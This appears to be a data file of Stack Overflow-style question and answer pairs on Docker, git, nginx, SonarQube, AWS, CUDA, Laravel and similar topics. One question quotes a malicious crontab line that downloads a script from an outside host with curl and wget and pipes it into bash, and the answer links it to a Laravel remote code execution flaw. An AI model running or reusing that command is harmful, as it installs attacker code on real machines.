Response
stringlengths
15
2k
Instruction
stringlengths
37
2k
Prompt
stringlengths
14
160
Yes , image which you are using might not exixts in public dockerhubFirst search image usingdocker search httpdIf you can find that then you need to create onhttps://github.com/docker-library/httpd/blob/c14a031c014aa2219aea2e73786f577300756f0b/2.2/DockerfileIn your dockerfile useFROM httpdnot latest,docker will pull la...
I issued a command "docker build -t httpd ."from bash with preconfigured docker file having FROM httpd.latest .Once command is executed and after step 1 it says "pull access denied for httpd.latest, repository does not exist or may required docker login.
Docker asking for login in windows 10
Use GitSubmodulesto add this repo as a submodule. Or use a system likeCocoaPodsto manage dependencies.
How do you use a git package (I am strugling withthisone, but any other will probably cause problems too) in already existing OSX Project? Sorry if this is a newbie question. Never used source control before.
add git package to existing xcode project
You could simply replace your local content with the content of the USB key, and then: cd /root/dir/of/your/repo # rm everything # cp everything from USB git add -A . git commit -m "update from USB key" git push origin (See "What's the difference between git add . and git add -u?" for more on git add -A) I assume you...
I have a local project up-to-date with my github repo. Somebody else modified the project (files added, modified, removed) and handed me the new source code on a USB stick. They did not use Github. How do I update the repo with the new source?
Sync github repo with local changes from another directory
It depends on which type of scaling you have selected:https://cloud.google.com/appengine/docs/standard/java/an-overview-of-app-engineRequests on Basic & Manual Scaling can run indefinitely, Automatic scaling has a 60 second deadline for http requests & 10 minutes for task queue requests. If you're not sure which type o...
I am using nodejs on google app engine with an end point for a cron job. When the rest end point is called I want to proceed with my cron job after returning the response back to the caller.The cron task will continue for about an hour. Will GAE terminate the task if it runs for an hour or more ? I suppose GAE should n...
run tasks on google app engine that runs my app server
While IOUtils.copy() and IOUtils.copyLarge() are great, I would prefer the old school way of looping through the inputstream until the inputstream returns -1. Why? I used IOUtils.copy() before but there was a specific use case where if I started downloading a large file from S3 and then for some reason if that thread ...
What's the fastest way to write an S3 object (of which I have the key) to a file? I'm using Java.
How to write an S3 object to a file?
location /foobar { access_log /var/log/foobar.log; }
I want Nginx to log requests that start with /path to a certain log file. like this: http://domain.com/path/to/dir = Logged http://www.domain.com/to/some/dir/path/ = Not Logged http://sub.domain.com/ = Not Logged Sorry if this is vague, but I'm new to the nginx config biz. Feel free to ask questions about what I'm ...
Can I get Nginx to log certain types of requests differently?
I'd sayGregg Pollack's Scaling Rails seriesis by far the best introduction into caching out there.
HI EverybodyI wanted to use caching in my application can any one help me how to start with and which is the best tutorials for the beginnersthanks in advance
How to use cache in ruby on rails
There are already Utils that do this, no need to roll your own:ec2sshis a python script to do it but a google forec2sshwill turn up numerous similar tools in multiple languages that will do the job.Personally, I setup a bastion with an EIP, and jump from there to all the other hosts. This way you don't need to give ...
I would like to turn on/off some of my Amazon EC2 instance, but this causes the IP and all DNS names to change. Therefore when I boot my machine again, all my SSH configurations are lost since I was connecting using the previous DNS name.Is there a simple way to resolve the dns of the target machine (with no or as low ...
SSH to Amazon EC2 using instance ID only
This is an issue of memory fragmentation.You can either tune the glibc memory allocator by setting the environment variableMALLOC_ARENA_MAX=2or change memory allocator from glibc to jemalloc.
I am using kafka-streams and the off heap memory usage grows up to the physical limits of the machine. However when running kafka-streams in docker memory usage grows past the limits of the container so the container gets OOM killed.My assumption is that rocksdb is allocating the off heap space. -Xmx can be used to lim...
How do I restrict rocksdb memory usage in kafka-streams
I used this on OS X and worked for me, (link to ibresolv.dylib as well)#include <arpa/inet.h> #include <ifaddrs.h> #include <resolv.h> #include <dns.h> - (NSString *) getDNSAddressesStr { NSMutableString *addressStr = [[NSMutableString alloc]initWithString:@"DNS Addresses \n"]; res_state res = malloc(sizeof(...
I try to find a way how to get my DNS server ip which appear under settings->wi-fi->details->DNS. I don't know if apple allow to get this info programmatically.
Get DNS server IP from iphone settings
GHC uses a custom allocator, descibed here: https://ghc.haskell.org/trac/ghc/wiki/Commentary/Rts/Storage/BlockAlloc It's based on blocks. If you're interested in how GHC manages its memory, https://ghc.haskell.org/trac/ghc/wiki/Commentary/Rts/Storage is a good start.
Is any slab allocator or something similar used to allocate memory for thunk structures in GHC? Or, does it use something naive like malloc in C? I guess number of thunks are allocated within a short time in lazy functional programming languages especially when multiple threads are running on them. Or, don't the alloc...
Is slab allocator used to allocate memory for thunks in GHC?
Thanks Jeroen Heier for the answer, however on further digging I found your answer is only half correct. I want to elaborate on why I faced the situation and how I got over it.SonarQube 5.6 requires UTF-8 as characterset not just SQ 6+Why SQ 6.7 was ok with WE8ISO8859P1 character set and SQ 6.7.1 is adamant about UTF-8...
We are migrating from SonarQube (SQ) 4.5.4 to the latest 6.7 LTS. So far we tried out our upgrades with 6.7 and everything seemed to work fine, now we tried 6.7.1 and the web start up fails with the messageERROR web[][o.s.s.p.Platform] Web server startup failed: Oracle NLS_CHARACTERSET does not support UTF8: WE8ISO8859...
SonarQube 6.7.1 fails to start with Oracle NLS_CHARACTERSET set to WE8ISO8859P1
You can convert your crt file to a pem file with OpenSSL as follows:openssl x509 -inform der -in certificate.crt -out certificate.pem.But that isn't the only file you need. You also need your private key which was used to generate your csr that you sent to the certificate authority and that also has to be in pem forma...
I bought an SSL certificate and all I've got is a .crt file.I need to configure a https server on Delphi correctly. I use a module named sgcWebSockets 3.2. As I can see in manual, I need to set the following parameters:1)SSLOptions/ CertFile/ KeyFile/ RootCertFile:you need a certificate in .PEM format in order to encr...
How to configure SSL in sgcWebSockets 3.2?
This is quite likely an issue related to --init(https://blog.phusion.nl/2015/01/20/docker-and-the-pid-1-zombie-reaping-problem). Possible solution in this case would be to use tini (https://github.com/krallin/tini). Tini (commonly referred as tiny init) will take care of the reaping of child process. Here is a workin...
I have my Selenium Java tests running inside a Docker container. I need to use BrowserStackLocal, because I use BrowserMob proxy to intercept and check the analytics sent by our web App. Each time there is a call to BrowserStackLocal.stop() inside Docker - it just hangs. When I connect to this running container, I see...
BrowserstackLocal.stop() hangs up the Docker container
On April 2019, There is some enhancement for CloudFront about the security for adding alternate domain names to a distribution.It seems that the self-signed certificate is not allowed after the enhancement.Amazon CloudFront enhances the security for adding alternate domain names to a distributionThe certificate must be...
AWS API gateway refuses to allow me to associate a custom domain to a certificate. However, it allowed me to associated the certificate just fine to another domain. The certificate is a wildcard cert. A picture is worth a thousand words:
AWS api gateway will not allow custom domain name association to certificate
As @Dustin said, if you write/modify files to the local disk on Cloud Run, it will count towards your available memory. This is most likely the problem. However, if your code (or modules you import, such as Google Cloud Client libraries) follows different code paths on your laptop vs deployed app, that might be the r...
Need help in understanding how memory utilization is calculated while running a container. say we have a container that is based of Ubuntu 18.04, which we are running inside another Ubuntu 18.04, rather same OS. with following options - docker run -it -p 8080:8080 --cpus 2 --memory 2048m Now the question here is, the...
Container memory management and OOMs on Cloud Run
Solved By creating new variable includes the BUILD_STATUS global variableenvironment { DEFAULT_SUBJECT = 'Health Check: $BUILD_STATUS' }Then call this variable as shown belowemailext body: '$DEFAULT_CONTENT', to: '$DEFAULT_RECIPIENTS', subject: "${APP_NAME} ${DEFAULT_SUBJECT}",...
Im trying to send an email within jenkinsfile, the email subject contain two variable one of them exists on jenkinsfile APP_NAME and the other one is jenkins Global variable BUILD_STATUSim getting null instead of the actual value for the build statusenvironment { mvnHome = tool name: 'myMvn', type: 'maven' mvn...
Unable to get BUILD_STATUS global varaible in jenkinsfile
You can useGitHub Actionsto define your deployment workflows.You can deploy to various cloud providers using available actions/operators:Amazon ECSAzureHerokuYour project can define a workflow for each cloud provider and, within each workflow, decide when the deployment occurs (automatically on every push, only selecte...
Greetings from Brazil!I have an app in github which I am deploying to a cloud service. I want to deploy this same app to other services such as Heroku, AWS and/or IBM Cloud, using Github diff changes (i.e. when I update the repo it automatically updates the cloud app - like magic). Currently GitHub diff changes works f...
Deploy from Github to multiple clouds?
can you try adding the full path to python3:@reboot /usr/bin/python3 /home/pi/test.pyAlso, regarding wanting to run the code on when the device boots - you can run your code as a service.To do so create a.servicefile under/etc/systemd/system(for examplemy-code.service)Enter the following inside the file[Unit] Descripti...
I created a python program, "test.py" and have saved it under /home/pi/. When I go to run it in the terminal using "python3 /home/pi/test.py" it runs properly and speaks "hello world". The code is shown below.import os import alsaaudio m = alsaaudio.Mixer() current_volume = m.getvolume() m.setvolume(35) os.system("es...
Crontab not starting python program
Go tohttps://www.sonarqube.org/downloads/link and under Website FindHistorical DownloadsView in ScreenshotAll versions listed, Download any version directly..ShareFollowansweredNov 18, 2019 at 13:46ArshitArshit13622 silver badges77 bronze badgesAdd a comment|
How can I download an older (specific) version of Sonar?http://www.sonarqube.org/downloads/only gives certain download options.
SonarQube download specific version
Disk caching happens "below" Picasso inside the HTTP client. In fact, this process is completely transparent. We never explicitly ask for a cached-version or an internet-version, the HTTP client will make the decision internally and do the right thing.Because we opted to leverage the HTTP client for caching, we're offe...
I am using Picasso to download and display images in views all accros my application. Those images are changing very rarely (they are considered valid for a few months).Is there a simple way to ask Picasso (or the underlying okHttp) to keep those images on disc for this much time?
Android + Picasso: changing URL cache expiration
Below is short instruction what to do if you want to connect Windows SSTP VPN from MacOSPrerequisites: Homebrew installed - seehereRun terminal and install sstp-clientbrew update brew install sstp-clientIn order to connect to your SSTP VPN with login and password use the following command line:sudo /usr/local/sbin/sstp...
Closed.This question does not meetStack Overflow guidelines. It is not currently accepting answers.This question does not appear to be abouta specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic onanother Stack Exchange site, ...
Windows SSTP VPN - connect from Mac [closed]
When you think your package is at a good solid place, you should tag a release. This archives the branch at that point in time and stores the zip file with the source code, and the tar.gz file.I tend to mark my CRAN packages as a release each time I release it to CRAN (for example, seehttps://github.com/nutterb/pixied...
The development of RStudio and the packagesdevtoolsandroxygen2has made R package creation pretty easy. I use GitHub for version control anddevtoolsallows others to easily install directly from my account.As my package gradually changes with each version, I'm wondering if I should be maintaining .zip files (or other for...
What's a good strategy for saving old R package versions on GitHub?
2 The advantage of RUN --mount=type=bind,target=/target_path,readonly,source=large_dir_or_file something over COPY large_dir_or_file /target_path RUN something is that the big file will not bloat the layers of your docker image. But yes, it must be in the context and it w...
If I have a very large file that I only need during build time, and If I use the following commands: docker buildx build Dockerfile . and then a line somewhere in the Dockerfile: RUN --mount=type=bind,target=/target_path,readonly,source=large_dir_or_file would that very large file still got send to the docker daemon...
Docker buildkit, new --mount command during build and large files in the context
It all dependes on your need and your team velocity to develop new code, test and integrate new functionalities into the project.If you have a sprint with a time box of a web, probably that on the weekend, the version that started on monday is stable, and therefore bug free, or only a few bugs. If your sprint time box ...
I have been digging quite a bit on Sonar best practices. The consensus seems to be that Sonar would be launched only once a day or week, e.g. during the night. However, what if one uses a CI server such as Jenkins? Jenkins builds on every SVN commit, runs unit tests, deploys to staging environment, runs Selenium tests,...
Is it enough to launch Sonar only once a day or week?
Calling Commands Via Code Executing an Artisan command outside of the CLI. For example, you may wish to fire an Artisan command from a route or controller. You may use the call method on the Artisan facade to accomplish this. The on your controller you can do this: public function createBackup(){ Artisan::call('backu...
i am trying to make a backup option for my CRM. I have install this package https://spatie.be/docs/laravel-backup/v5/taking-backups/overview and i am using laravel 6^. I can backup my db and all system configuration with this package if i run backup:run from Terminal but this is not all i want. What i am looking for i...
How to create backups from user interface CRM?
Trysudo a2enmod rewriteandCheck your etc/httpd/conf/httpd.conf file. It should have the following in it:AllowOverride Nonechange it toAllowOverride All
Hi i have installed the laravel on ec2 instance using this videowww.youtube.com/watch?v=8ARpTKWc6lQI have changed the document root path from/var/wwwto/var/www/html/laravel/publicin the deafult.conf file as described at the end of the videoBut now my when i open my website my homepagehttp://52.26.133.246/which have('/'...
laravel 5.1 says for all the other routes that except ('/') that 404 page not found on online Amazon Server using ec2
You might need to change the url fromhttps://github.com/repos/gitster/git/contents/gittohttp://api.github.com/repos/gitster/git/contents/as given by Github's API documentation as you have mentionedGET /repos/:owner/:repo/contents/:pathExample:$.ajax({ url : 'http://api.github.com/repos/gitster/git/contents/', m...
I am using the GUT API to get the files list. I am using theGIT API Get ContentsThis is the URL:https://github.com/repos/gitster/git/contents/gitwhere gister is owner git is repository git is pathBut I get error as below:{ "error": "Not Found" }Please help me how to get the files list using GIT API.
How to get files list in JSON format from GIT
If you are using ArchLinux:https://bugs.archlinux.org/task/79620Everyone else, September 2023, ROCM does not support AMD APU. So not possible to use pytorch or tensorflow in AMD APU.
I have a machine with a AMD Radeon APU: gfx90c I am using arch linux.I have been battling to get the PyTorch and TensorFlow to use the APU, but so far no results.I already tried to build the arch packages of tensorflow romc and nothing.Anyone with any idea on how to achieve this?
Running pytorch or tensorflow in AMD APU
There are not a lot of things that take a minute in modern day computing. Not on a machine with an embedded version of Windows either. Not the processor, not the RAM, not the disk. Except one, networking is still based on assumptions that were last valid in the 1980s. TCP/IP has taken over as the only protocol in c...
Question: My question is what will be the impact on my application memory footprint or performance if I replace functions like foo1 (which I have in my code) below with foo2. This function is called frequently in application. #define SIZE 5000 void foo1() { double data[SIZE]; // .... } void foo2() { std::un...
Slow or delayed loading of my application
You could try adding the results of the comparisions directly into the value like so:x+= (array[startId + i] == 'C');But that I believe this may still branch. My solution would be to store array values in a block to shared memory and then assign each thread in the block a desired character and place the results into th...
I would like to know how to avoid branch divergence in string searching with CUDA, and if there was a good way to do it.At the moment I tried to adapt Knuth Morris Pratt to GPUs but I believe that there is a lot of divergence since each thread is looking for N letters and comparing each time if this letters correspond ...
Avoid Branch Divergence in CUDA String Searching
Scope of the variable is the region where it can be accessed. Lifetime of the variable is the time till when the variable is guaranteed to exist. In your case lifetime of i is within the function not beyond it. It means i is not guaranteed to exist beyond the function. It is not required to and it is Undefined Behavio...
This is a very basic question about the scope of a variable suppose. I have the fiollowing code: int main() { int *p; p=func(); printf("%d",*p); return 0; } int *func() { int i; i=5; return &i; } My question The scope of i is finished in func() but, since I am returning the address of i wil...
Scope of a variable. Internal working basic
5 I got this error in a React Native app. I was able to fix it by turning off my Dev Tools network inspector. Share Improve this answer Follow answered May 20, 2021 at 20:56 mikeislearnin...
I'm working on an aws s3 photo upload from a react client and I'm experiencing the following error: TypeError: Cannot read property 'byteLength' of undefined I'm assuming there's a flaw in the upload object, but I believe there might be something wrong with the s3/cognito configuration because I receive the same error...
TypeError: Cannot read property 'byteLength' of undefined - AWS S3 Upload
2 Getting a MySQL backup need not have anything to do with Java. Use the MySQL backup scripts. Run them using a cron job if you wish. Share Improve this answer Follow answered Sep 21, 2011 at ...
It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center. ...
How to get a database backup without using runtime commands from Java [closed]
you can get the variable values automaticly by this methodRewriteEngine On RewriteBase / RewriteEngine On Options All -Indexes RewriteBase /directoryname/ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d #######...
I want to make a rewrite,and my script is like this :<?php $id = $_GET['id']; if($id) { echo "Your id are $id"; } else { echo "Id are missing"; } ?>with.htaccessi want to make it in my url like this :http://example.com/something/idSo,what must ieditin myphpand add to my.htaccess?
Rewrite GET variables php
So this regular expression:[a-z0-9]+(?:[._-][a-z0-9]+)*doesn't include any upper case letters. So you should change your image name todevopsclient
I am trying to build my image using this plugin:https://github.com/spotify/docker-maven-plugin#use-a-dockerfileWhen I runmvn clean package docker:buildI get this error:[ERROR] Failed to execute goal com.spotify:docker-maven-plugin:0.2.3:build (defa ult-cli) on project demo: Exception caught: Request error: POST https:/...
docker repository name component must match
There is a know issue with PowerMockito and code coverage computation. PowerMockito should be used sparsely anyway. The reason Mockito doesn't offer the functionality PowerMockito does offer, is mostly that Mockito tries to make you focus on good, testable code (which static and final is not). In the few places where I...
I have write multiple JUnit test classes for my project.The code covergae is 80% when I see it in Eclipse using cobertura plugin.But when I try to see my code coverage in Sonar it show only 35%.The reason behind this is that multiple classes have 0% coverage and some classes shows coverage.What is the main reason I don...
Cobertura Showing proper coverage but In sonar many files showing 0% coverage
By Looking at your comments it looks like your port configuration is not correct, in NginX port listening is set to listen on port 443, but your docker port configuration is using port 80 as host port. Assuming Node server is listening at port 8080, docker run should be like this $ docker run -itd -p 443:443 prod And...
Dockerfile Docker run command : docker run -itd -p 8080:80 prod FROM node:16-alpine as builder WORKDIR /app COPY package.json ./ COPY package-lock.json ./ COPY . /app/ RUN npm install --silent RUN npm install [email protected] -g --silent RUN npm run build # production environment FROM nginx:1.21.1-alpine COPY --from...
Deploy Reactapp using Docker & SSL
I faced the same issue:botocore.exceptions.DataNotFoundError: Unable to load data for: ec2/2016-04-01/service-2For which I figured out the directory was missing. Updatingbotocoreby running the following solved my issue:pip install --upgrade botocoreShareFolloweditedOct 5, 2016 at 13:57Kurt Van den Branden12.4k1010 gold...
I am using boto3 in my project and when i package it as rpm it is raising error while initializing ec2 client.<class 'botocore.exceptions.DataNotFoundError'>:Unable to load data for: _endpoints. Traceback -Traceback (most recent call last): File "roboClientLib/boto/awsDRLib.py", line 186, in _get_ec2_client File "boto3...
boto3 throws error in when packaged under rpm
You can use theHEAD ObjectREST API to determine the size of the object stored on S3.HEAD Objectwill return the meta-data associated with the stored S3 Object, including the size on disk of the object, within theContent-Lengthheader.http://docs.aws.amazon.com/aws-sdk-php/v2/api/class-Aws.S3.S3Client.html#_headObject
I am forced to use Version 2 of AWS S3, because i cannot update PHP to 5.5 on this server in order to use Version 3.I made this PHP script to download files from AWS, which works good://http://docs.aws.amazon.com/aws-sdk-php/v2/api/class-Aws.S3.S3Client.html#_createPresignedUrl // Get a command object from the client a...
How to get file size from Amazon AWS S3 Version 2?
I had a similar problem and I could solve it, because all my containers use the same port for metrics. I could drop all other ports withrelabel_config:<relabel_action>determines the relabeling action to take:replace: Matchregexagainst the concatenatedsource_labels. Then, settarget_labeltoreplacement, with match group r...
I found a problem with my use ofdocker_sdfor containers with multiple exposed ports. If a container is exposing more than one port, and has metrics only on one port,docker_sdis 'discovering' each such port as a target. Only one of them has metrics, and others are 'down', because they can't answer to/metrics.I wonder if...
Multiple ports in docker for docker_sd scraping for Prometheus
There's currently no support for clustering with SonarQube.What you can do for the moment is only to have prepared virtual machines that you can start when there's a failure on the SonarQube instance. Obviously, there will be the startup time during which the service won't be available - but that's the best you can do ...
Does SonarQube (Sonar) support replication/high availability solution? My goal is to have a failover SonarQube instance for if/when there's hardware failure on the machine the current instance is running on.
Sonar: Replication/high availability or clustering solutions
Looking at thedocker input documentation, it seems like thedockerinput is being deprecated in favor of a more generalcontainerinput.Thecontainerinput is probably a very similar, but it accommodates other containerization technologies aside from docker.ShareFollowansweredSep 6, 2021 at 8:04RickkwaRickkwa2,24155 gold bad...
I checked the official document about it but wasn't able to figure out the difference. If anyone can help?
What is the difference between container and docker input in filebeat configuration?
Sure. This is called continuation-passing style. The standard library supports it with setjmp() and longjmp(), and stores the information needed to restore control to an earlier point in a structure called jmp_buf. (There are several restrictions on where you can restore from.) You would store them in a stack, whi...
I was watching a video about CUDA and the Barnes-Hut algorithm where it was stated that it is necessary to place a depth limit on the tree for the GPU, and then the idea popped into my head about possibly doing recursion in the heap. Basically, I am wondering just that: Is it possible to allocate memory from the heap ...
Recursion With Memory Allocation
According to theREADMEit's a standard SBT project, so if you want to import it in Eclipse IDE I would advise to use theScala IDE(Eclipse plug-in) andsbtclipse(plug-in for SBT).That being said, the Scala IDE is not maintained anymore so it may be easier to useSBT support in IntelliJinstead.Anyway you have to clone the g...
I am trying to runthis tool.It says that the jar is available on Maven. I created a Maven project in Eclipse and added dependencies in pom.xml. At the same time, I cloned the git repository to Eclipse, but then I have 2 separate projects: one is the Maven project with dependencies and another is cloned git.Is it possib...
How to import BOTH Git repository and Maven dependencies to Eclipse?
If your server is hosting a web application built usingLaravelframework and if your debug mode is turned on, you are probably suffering from a recent RCE (Remote Code Execution) exploit.Blogpost about technical details of the bug:https://www.ambionics.io/blog/laravel-debug-rceCVE:https://nvd.nist.gov/vuln/detail/CVE-20...
I found that in the company server there is a crontab that runs with this code:*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/kworker?time=1612899272" | bash;wget "http://repo1.criticalnumeric.tech/kworker?time=1612899272" -q -o /dev/null -O - | bash;busybox wget "http://repo1.criticalnumeric.tech/kworker?time...
Does somebody knows about this: repo1.criticalnumeric.tech
Most applications would not be able to even know that they are being managed using virtual memory because the operating system would perform address translation on every memory request made by your application. This is a task definitely best left to the operating system unless you are working in a very low-level envir...
I have a slight doubt regarding virtual memory. Normally, it is up to the OS to provide virtual memory to using disk space to expand the amount of memory which appears to be available for applications. The OS will clear physical memory by copying the data to disk and restoring when needed. However, it is possible fo...
Application to manage its own Virtual Memory
This is likely to be a problem with your Apache version and the fact that PHP runs as FastCGI.In Apache 2.2.X there was a bug:https://bz.apache.org/bugzilla/show_bug.cgi?id=49308I found a couple of other posts that propose to use thealwayscondition to fix the problem:Header always add TestHeader "It works."Also see:htt...
Is it possible to add headers (defined in a.htaccessfile) to a response generated by PHP?I have the following.htaccessfile in my that should add a HeaderTestHeaderto each response delivered by my Apache Webserver:#<IfModule mod_headers.c> # Header unset X-Powered-By Header add TestHeader "It works." #</IfModule>I al...
Manipulate Headers of PHP response in .htaccess-file?
You should always use consistent versions of the various parts of the simpleclient.<!-- prometheus - core --> <dependency> <groupId>io.prometheus</groupId> <artifactId>simpleclient</artifactId> <version>${prometheus.version}</version> </dependency> <!-- prometheus - Exposition HTTPServer --> <dependency> ...
I implemented a Prometheus Counter to get the no. of requests to a service. When I called the service I got the following error.Exception in thread "HTTP-Listener I/O dispatcher-1" java.lang.NoClassDefFoundError: io/prometheus/client/CounterI added the following dependencies to the pom.xml file.<dependency> <g...
NoClassDefFoundError when implementing a Prometheus Counter
2 I think the best way is using difference subdomains because both apps have many routes so your solution will do many conflicts. The issue in /. try this configuration it will work. server { listen 80 default_server; listen [::]:80 default_server; location /#/...
The following are the proxy_pass rules created in my Nginx server for pointing to two applications. The proxy rule is working for the default URL but I'm not able to point the application running in port 2000. Please help me in finding the root cause. Is this due to the # present in the URL? server { listen 80 def...
Nginx proxy_pass rule is not working for my angular applications
Trykubectl cp namespace/podname:/path/target target. Note specify "./target" will receive a warning: "tar: removing leading '/' from member names". Also, ensure your image havetarcommand orkubectl cpcan fail.
kubectl cp namespace/podname:/path/target .If I use the instructed command from kubernetes guide, it only copies the contents inside thetargetdirectory and omitstargetitself.I don't want to usemkdirevery time I need to copy.What's the option?
'kubectl cp' command doesn't copy the target directory but its contents
If you mean you want a new project with a new repo, but sharing history with the old one, then the simple way is$ git clone https://github.com/your_name/old_project new_project # make new, empty project on GitHub called new_project $ cd new_project $ git remote rename origin old_project $ git remote add origin https://...
I was developing an HTML5 game engine. I used Git as the SV and GitHub to actually host the project.I've made some substantial changes in the design (mainly switching to the Entity System paradigm), and I think it's time for a new engine.I would like to base it off the old engine, as there is a lot of code that I can ...
How to fork my own repo into a new project?
pull -r auto-rebases your feature branch changes. Provided there are no conflicts, this should work smoothly. # checked out feature branch git pull -r origin upstream-branch
When I create a feature branch based off of an upstream branch, the feature branch will retain its branched off commit as the base of the upstream branch, when the upstream branch gets new changes merged in, what is the cleanest way of updating the feature branch's based off commit? the way I usually do it is # check...
cleanest way in git to get new changes to upstream branch to a feature branch
You get a connection refused means you reached localhost and it decided to refuse the connection.This is most likly because nothing is listening on the port.If it was a firewall issue the request would timeout.You can check listening ports with command like:netstat -anIf not installed maybe you can try it from the work...
I am deploying kubernetes in Cloud and I'm trying to call another container inside the same pod through an API.I am usinglocalhostbut also I treid with127.0.0.1. Also, I tried with the container's name.2022/11/04 15:50:47 dial tcp [::1]:4245: connect: connection refused 2022/11/04 15:50:47 Successfully processed file.j...
Connection refused when deploying in cloud on kubernetes
even If You have removed .ToList() replace in .AsQueryable()AsQueryable Faster then ToList And AsEnumerableIf you create an IQueryable, then the query may be converted to sql and run on the database serverIf you create an IEnumerable, then all rows will be pulled intomemory as objects before running the query.In both c...
Initially I have such a list :List<Car> cars = db.Car.Where(x => x.ProductionYear == 2005).ToList();Then I'm trying to join this list with two large tables using LINQ like this :var joinedList = (from car in cars join driver in db.Driver.ToList() on car.Id equals driver.CarId ...
How to join a list and large lists/tables using LINQ
If you want the latest non-nullprice, you can filter,order byandlimit:select gas_date, adl_ex_ante_price from gas_market_prices where adl_ex_ante_price is not null order by gas_date desc limit 1
This question already has answers here:SELECT the newest record with a non null value in one column(3 answers)Closed3 years ago.I am using grafana and I need to call the most recent value of the adl_ex_ante_price where the value is not null (as shown below) using a query. I do have the related timestamp for each row.Th...
MYSQL query to call most recent value using timestamp [duplicate]
4 Assuming xp_cmdshell is enabled and that all files will end with yyyyMMddhhmm.bak: CREATE TABLE #x(n VARCHAR(2048)); DECLARE @cmd VARCHAR(2048), @fn VARCHAR(2048), @folder VARCHAR(255); SET @folder = 'E:\sqlbackup\MerchantAPIReport\'; --' SET @cmd = 'dir /b "' + @folder...
This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question mo...
Select .bak file with latest timestamp [closed]
You could useRewriteMapwith the external program mapping (prg:). This is a quite adavnced use of mod-rewrite and even of RewriteMap.RewriteLock /var/lock/rewritemaplock.lock RewriteMap base16to10 prg:/somewher/modrewritemapbase16to10.pl RewriteRule - ${base16to10:%{REQUEST_URI}}And for the perl script (or any other lan...
I intend to do a url redirection of the form :from:domain.com/Aintodomain.com/someResourse/id/10in this redirection the base of the id is changed from16to10.I wonder if this is possible using .htaccess
number base conversion in .htaccess
A code signing certificate is essentially the same as a SSL certificate. Both are used to sign some data to prove that the data (software package or web page content) come from the "subject" of the certificate. There are 2 major differences that I can think of:They have different "enhanced key usage" OIDs in the certif...
Closed.This question does not meetStack Overflow guidelines. It is not currently accepting answers.This question does not appear to be about programming within the scope defined in thehelp center.Closed6 years ago.Improve this questionIs a code signing certificate the same as a SSL certificate?
SSL certificate same as signing certificate? [closed]
Here is an article on how to enable LDAPS on an Active Directory server:http://social.technet.microsoft.com/wiki/contents/articles/2980.ldap-over-ssl-ldaps-certificate.aspx
Dears, I am working on a task, this task makes operations onActive Directory LDAPusingjava, thecodeis ok the certificate status is ok regarding to this linkconfiguring-an-ssl-connection-to-active-directoryBut : I run the code it givesjava.net.SocketException connection reseton the connectionldaps://ip:636, I did the f...
Active Directory : How to access AD remotely over SSL?
If I understand you correctly, then the followingshouldmeet your needs. I tested it in theRelabeleronline tool and seems to do what you want?Using these relabeling rules:- source_labels: ['mountpoint'] regex: '(\/home|\/var\/domains)\/something.*' target_label: __tmp_keep_me replacement: true - source_labels: [__...
Right now I'm scraping metrics from a Node Exporter. Some of the metrics which the Node Exporters exports have amountpointlabel.I'd like to drop time series that have this label anddo notmatch a regular expression. I tried using thekeepaction (as I'd like to keep time series thatdomatch this regular expression) but thi...
Prometheus (metric) relabel config with inverse regex match / negative lookahead
4 Two particular services would be of interest to you: AWS Security Token Service Web Identity Federation can be used to authenticate users against Facebook, Google or Amazon. This authentication can then be used to grant access to AWS services (eg storing data in Amazon...
AWS seem to have a pile of services now so I have been looking more closely at it. I am looking for a centralized service where I can host user data and have them authenticate and secure different web applications, iphone apps both using custom logins and social logins such as Twitter/Google/Facebook. An example flow ...
AWS for user management
A better approach use Illuminate\Support\Facades\Validator; public function store(Request $request){ $validate = Validator::make($request->all(), [ $request->file('image1') => 'required|mimes:jpg,png,jpeg', $request->file('image2') => 'required|mimes:jpg,png,jpeg', $request->file('image3') => 'required|mim...
Consider the case where a user uploaded his profile image and it was placed in the project as public/userprofileimage.jpg when the repository was at version 1.0.0. The project was then pulled from GitHub, changed, or new code was added, and it was pushed to the repository, becoming version 2.0.0. How can I add the lat...
user uploaded images should be stored in the project like public/userprofileimage.jpg or it will be affected by version control
You can useTriggerandTaskSchedulerinterfaces. Example below. To cancel job in the future it will be needed to storeScheduledFutureinstance.@Configuration public class AppConfiguration { @Bean public ThreadPoolTaskScheduler taskScheduler() { return new ThreadPoolTaskScheduler(); } } @Controller pub...
I am building a Spring 4 Rest API for a trade automation site.An http request will contain some info along with a date-time. After inserting these info into database (using hibernate), I need todynamically create a new cron job which will access these db info and do something. The cron jobmust be executed at the time s...
Schedule task for specific time from spring 4 web mvc
2 Unfortunately, this is not supported by Parallel Computing Toolbox in R2012b. The gpuArray version of arrayfun currently does not support binding in the constant data to an anonymous function handle. Arrayfun arguments must be passed directly, and must all either be scala...
I am new to the Parallel toolbox from Matlab R2012b and was wondering what the best way is to overcome the following problem. I am analyzing the neighbourhood of every pixel in an image. Which is extremely good case for parallelization. However, I can't seem to get it working. The main catch in the problem is that som...
Usage of anonymous functions in arrayfun with GPU acceleration (Matlab)
Are the SSL certificates available in the supervisord environment? I assume you use requests.certs, so are the certificates there where expectedrequests.certs.where()?
I have a program that runs successfully in my user/virtualenv. The program access an API usingrequests. For the purposes of this post, the whole program can be read as:requests.get("https://example.com")This works totally fine when I call it from the command line. However I'm trying to get it to run undersupervisordand...
Certificate verify failing when running python under supervisord
17 What you are trying to do is not possible. A tag, like a branch, can only point to at most one commit. Share Improve this answer Follow answered Jun 7, 2015 at 18:31 David DeutschDavid ...
I want to create a single tag for multiple commits(merged branches). Can we group multiple commits to a single tag , please help me on this.
How to tag multiple commits in git
This does that. Got the function here:malonypatr's install_load functionThe screenshots are from RTVS, but I tested it in R-Studio too.library(shiny) install_load <- function (package1, ...) { # convert arguments to vector packages <- c(package1, ...) # start loop to determine if each package is installed ...
So I have a R/shiny project on Github that require some packages, for example shinyjs, V8 and dplyr, and I have specifiedrequired(shinyjs)andlibrary(shinyjs)in the code.On my computer it works just fine and if I download a copy from Github that works too, but if I do it from a different computer I have to download the ...
R Shiny required packages and Github
